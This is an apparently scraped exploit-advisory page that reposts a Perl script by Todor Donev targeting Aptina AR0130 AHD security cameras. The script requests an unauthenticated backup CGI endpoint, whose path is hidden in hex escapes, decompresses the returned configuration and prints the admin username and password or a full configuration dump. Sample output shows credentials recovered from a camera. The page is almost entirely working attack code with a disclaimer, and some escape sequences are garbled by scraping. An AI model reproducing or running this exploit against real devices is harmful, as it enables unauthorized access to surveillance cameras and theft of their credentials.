Exploit/Advisories

Published on February 24th, 2020 📆 | 3629 Views ⚑

0

Aptina AR0130 Camera Remote Configuration Disclosure


https://www.ispeech.org

#!/usr/bin/perl
#
# Aptina AR0130 960P 1.3MP Indoor Outdoor AHD Vandalproof Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# [ Aptina AR0130 960P 1.3MP Indoor Outdoor AHD Vandalproof Camera Remote Configuration Disclosure
# [ ==============================================================================================
# [ Exploit Author: Todor Donev 2020
-- https://donev.eu/
# [ Initializing the browser
# [ >> User-Agent => Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15
# [ >> Content-Type => application/x-www-form-urlencoded
# [ < < Connection => close
# [ < < Date => Fri, 21 Feb 2020 20:47:47 GMT
# [ < < Accept-Ranges => bytes
# [ < < Server => thttpd/2.25b 29dec2003
# [ < < Content-Length => 35428
# [ < < Content-Type => application/octet-stream
# [ < < Last-Modified => Fri, 21 Feb 2020 20:47:46 GMT
# [ < < Client-Date => Fri, 21 Feb 2020 20:47:48 GMT
# [ < < Client-Peer => 192.168.1.222:80
# [ < < Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin

use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';

my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s//$//;
print "33[2J"; #clear the screen
print "33[0;0H"; #jump to 0,0
print "[ Aptina AR0130 960P 1.3MP Indoor Outdoor AHD Vandalproof Camera Remote Configuration Disclosuren";
print "[ ==============================================================================================n";
print "[ Exploit Author: Todor Donev 2020
-- https://donev.eu/n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ shown";
exit;
}
print "[ Initializing the browsern";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."x2fx77x65x62x2fx63x67x69x2dx62x69x6ex2fx68x69x33x35x31x30x2fx62x61x63x6bx75x70x2ex63x67x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "n" for $request->header_field_names;
print "[ < < $_ => ", $response->header($_), "n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...n[n";
print "[ ", $_, "n" for split(/n/,$config);
exit;
} else {
print "[ Username : ", $1, "n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "n" if ($config =~ /password=(.*)/);
exit;
}

Source link





Tagged with:



Comments are closed.